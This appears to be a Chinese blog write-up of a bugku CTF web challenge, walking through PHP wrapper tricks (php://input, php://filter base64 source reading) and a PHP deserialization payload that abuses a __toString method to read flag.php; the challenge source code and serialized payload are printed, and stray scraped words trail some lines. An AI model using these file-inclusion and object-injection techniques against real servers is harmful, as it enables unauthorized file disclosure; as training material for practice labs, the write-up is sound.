記bugku的——「welcome to bugkuctf」

今天終於拾起來ctf的比賽了,開始了練習之旅。今天寫一道bugku上的題目wp,屬於利用php源碼泄漏的題目吧,我以爲不是很簡單。。。因此把本身的思路放上來。php

 

題目源頭:http://120.24.86.145:8006/test1/函數

 題目打開後獲得以下的信息,查看源碼後發現post

 

很顯然想讓咱們利用源碼去獲得flag。這裏咱們稍微解釋下這個源碼的意思。this

開始有三個變量:user,file,pass,可是咱們發現這裏的pass也就是password沒有什麼用,因此咱們重點關注前兩個變量。看下面的條件spa

(1)這裏isset的意思是查看變量是否存在,即user不能爲空。.net

(2)3d

file_get_contents是把整個文件讀入字符串中,這裏也就是把user這個變量(user顯然要是一個文件)的內容以字符串的方式讀出來而且要和「welcome to the bugkuctf」徹底相等(類型,內容)。code

(3)後面提示了咱們因此咱們要在知足條件以後讀取file=hint.php。blog

 

 

知道了以上的三個條件後咱們就能夠作第一步了,就是如何知足他們的條件!?字符串

這裏就要使用php僞協議了。這道題目爲了解決第二個條件,要用到    「php://input」協議。大體的意思是讓  txt=php://input ,以後在post過去一個字符串

(當傳進去的參數做爲文件名變量去打開文件時,能夠將參數php://傳進,同時post方式傳進去值做爲文件內容,供php代碼執行時當作文件內容讀取)相似(PS:此時payload還不完整還不能執行哈)

 

簡單來講就是將指定字符串做爲文件傳給txt,而後再將user的內容讀出來。此時咱們就知足了

以後咱們獲得了

此時根據提示咱們能夠把包含的文件讀出來了,這裏要用到php的第二個僞協議:php://filter

 

這裏放上一個寫的詳細的blog(關於filter的)http://blog.csdn.net/wy_97/article/details/77431111

 

即  txt=php://input&file=php://filter/read=convert.base64-encode/resource=hint.php(簡單來講就是利用僞協議讀取所包含文件的base64值)獲得

 

解碼獲得:

  1. #hint.php  
  2.   
  3. <?php    
  4.     
  5. class Flag{//flag.php    
  6.     public $file;    
  7.     public function __tostring(){    
  8.         if(isset($this->file)){    
  9.             echo file_get_contents($this->file);   
  10.             echo "<br>";  
  11.         return ("good");  
  12.         }    
  13.     }    
  14. }    
  15. ?>    

以後能夠繼續利用僞協議讀取一下index.php源碼

  1. #index.php  
  2. <?php    
  3. $txt = $_GET["txt"];    
  4. $file = $_GET["file"];    
  5. $password = $_GET["password"];    
  6.     
  7. if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){    
  8.     echo "hello friend!<br>";    
  9.     if(preg_match("/flag/",$file)){   
  10.         echo "不能如今就給你flag哦";  
  11.         exit();    
  12.     }else{    
  13.         include($file);     
  14.         $password = unserialize($password);    
  15.         echo $password;    
  16.     }    
  17. }else{    
  18.     echo "you are not the number of bugku ! ";    
  19. }    
  20.     
  21. ?>    
  22.     
  23. <!--    
  24. $user = $_GET["txt"];    
  25. $file = $_GET["file"];    
  26. $pass = $_GET["password"];    
  27.     
  28. if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){    
  29.     echo "hello admin!<br>";    
  30.     include($file); //hint.php    
  31. }else{    
  32.     echo "you are not admin ! ";    
  33. }    
  34.  -->    

 

在index裏咱們能讀出來:

(1)在hint.php中咱們看到了,因此咱們把index.php改爲flag.php看看會有什麼結果,發現

這個亂碼在index.php中咱們發現是

因此咱們不能直接讀flag.php。在index中咱們看到這個意思是file中若是包含‘flag’,那麼就會給你退出。因此咱們要想其餘辦法讀flag.php

(2)咱們載去找有用的信息,發現這個else寫到若是個人file不包含‘flag’,那麼我就會把那個文件包含進來,以後將password反序列化一下。並輸出password的結果。而咱們根據上面的hint.php發現,

  1. #hint.php  
  2.   
  3. <?php    
  4.     
  5. class Flag{//flag.php    
  6.     public $file;    
  7.     public function __tostring(){    
  8.         if(isset($this->file)){    
  9.             echo file_get_contents($this->file);   
  10.             echo "<br>";  
  11.         return ("good");  
  12.         }    
  13.     }    
  14. }    
  15. ?>    

 

咱們發現當Flag方法當作字符串執行時,會自動執行 __tostring 方法,方法中寫了若是file文件存在,那麼就輸出file文件中的內容。

這不正是咱們要解決的輸出flag.php內容的狀況嗎???因此咱們要構造一個Flag類型的參數,並把這個參數傳給password而後get進去。而且這個file的值要是hint.php(由於要利用hint.php中的函數),即:————根據php序列化的結果

  1. <?php  
  2.     class Flag{
  3.     public $file;    
  4.     }    
  5.   
  6.     $a = new Flag();  
  7.     $a->file = "flag.php";  
  8.     $a = serialize($a);  
  9.     print_r($a);  
  10. ?>  

 獲得:  O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}  傳入

 

 獲得

 

 

 

 

 至此這道題目結束。不過應該會有同窗問爲什麼payload中有index.php,,我以爲index.php是默認的頁面,否則你沒有辦法傳給php頁面參數,因此應該屬於一種套路吧,記住就好。。。。

 

 

 

做爲菜雞,還要繼續努力啊:)

相關文章
相關標籤/搜索